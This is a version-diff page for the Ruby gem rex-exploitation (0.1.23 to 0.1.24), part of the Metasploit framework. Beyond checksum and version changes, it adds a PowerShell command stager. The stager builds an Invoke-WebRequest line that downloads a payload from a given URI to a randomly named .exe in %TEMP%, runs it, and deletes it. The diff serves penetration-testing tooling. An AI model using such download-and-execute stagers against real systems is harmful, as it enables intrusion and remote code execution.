rex-exploitation 0.1.23 → 0.1.24

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 1a5500cc4bbfeadf5f639acf5fb318beb333658fc056baf5368845c2e8896bc0
4
- data.tar.gz: e9460ae7a74e37ec17c87a23d6c4b27ff6afdfd6c3e66bcd27c1a33f937660f1
3
+ metadata.gz: 7e7f58559246a695c82c7e75987d387012f51bc3b96ef997ae3ba2b681386892
4
+ data.tar.gz: 99ba7aa87ca714dad9afff9d6a0148c50db03fe2267360ee628b8514aebfb8ac
5
5
  SHA512:
6
- metadata.gz: fa3ed2418c0352fcf1e81fcc4a264e6b782566a91f8ab70cb8b3c5733bec3b4ea43d74c11c26ca49741a3cb471027f87dc2ce1b0b862070c491f546afaeae51d
7
- data.tar.gz: c18d56b987ce28b461c74e2e97b5ad569704da5a254f4dbdfe9a1d4ff92dfb79221ee04150b873f74bfdb7b05bdacd2b6492b1b44301067111c4a606baa31a9f
6
+ metadata.gz: cf0de782ca24c14ff1e2289abdb10d0132fa8d25b234bd4cb360c894a0a5c8025d76e94dc2198bb38af21e97b9a2a376d53a5e26e6db85f4432bab884b2edf3a
7
+ data.tar.gz: 9e9130b9e5ffd85aed30315a2a98249491a7b88d0f215171bc963a967bf77540ef5fb95040eb3436eee1a232bfecf1fd5460e0314e6972edb9b4e52f1011d684
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -12,4 +12,5 @@ require 'rex/exploitation/cmdstager/printf'
12
12
  require 'rex/exploitation/cmdstager/wget'
13
13
  require 'rex/exploitation/cmdstager/curl'
14
14
  require 'rex/exploitation/cmdstager/fetch'
15
- require 'rex/exploitation/cmdstager/lwp-request'
15
+ require 'rex/exploitation/cmdstager/lwprequest'
16
+ require 'rex/exploitation/cmdstager/psh_invokewebrequest'
@@ -0,0 +1,46 @@
1
+ # -*- coding: binary -*-
2
+
3
+ class Rex::Exploitation::CmdStagerPSHInvokeWebRequest < Rex::Exploitation::CmdStagerBase
4
+
5
+ def http?
6
+ true
7
+ end
8
+
9
+ def user_agent
10
+ /WindowsPowerShell/
11
+ end
12
+
13
+ def generate(opts = {})
14
+ if opts[:payload_uri].nil?
15
+ raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
16
+ end
17
+
18
+ opts[:temp] ||= '%TEMP%'
19
+ opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
20
+ @payload_path = "#{opts[:temp]}\\#{opts[:file]}"
21
+
22
+ super
23
+ end
24
+
25
+ def generate_cmds_payload(opts)
26
+ # NOTE: This requires PowerShell >= 3.0
27
+ cmd = "Invoke-WebRequest -OutFile #{@payload_path} #{opts[:payload_uri]}"
28
+
29
+ # TODO: Craft a better command line, probably with encoding
30
+ ["powershell.exe -c #{cmd}"]
31
+ end
32
+
33
+ def generate_cmds_decoder(opts)
34
+ cmds = []
35
+
36
+ cmds << @payload_path
37
+ cmds << "del #{@payload_path}" unless opts[:nodelete]
38
+
39
+ cmds
40
+ end
41
+
42
+ def cmd_concat_operator
43
+ ' & '
44
+ end
45
+
46
+ end
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.23"
3
+ VERSION = "0.1.24"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.23
4
+ version: 0.1.24
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -263,8 +263,9 @@ files:
263
263
  - lib/rex/exploitation/cmdstager/debug_write.rb
264
264
  - lib/rex/exploitation/cmdstager/echo.rb
265
265
  - lib/rex/exploitation/cmdstager/fetch.rb
266
- - lib/rex/exploitation/cmdstager/lwp-request.rb
266
+ - lib/rex/exploitation/cmdstager/lwprequest.rb
267
267
  - lib/rex/exploitation/cmdstager/printf.rb
268
+ - lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
268
269
  - lib/rex/exploitation/cmdstager/tftp.rb
269
270
  - lib/rex/exploitation/cmdstager/vbs.rb
270
271
  - lib/rex/exploitation/cmdstager/wget.rb
metadata.gz.sig CHANGED
@@ -1 +1,3 @@
1
- ��0�x��i},3�'tD�eƄ��QiQ���J�<Ţ��YMˮ��t��{^n���p�����̬$����O�98J5�XZ_̜���=݋�1�r��D����}�LK��I��w��������k�� A��)�I[+�l��i��� /9#�v=3�f��R��z_�Mv��}=
1
+ ����^�Cz
2
+ ���6@B�Q�I�.e]����f�� ��V�!{��R�������U#����
3
+ 8��jv4d9� d-�B���󗸡$1t3���!�SWrﰏ�'/�y3�'�M Bc0`�g����z��Q�6m;�b�w�j'��\�`8]���,bu�?��P�_�8Q"?�z�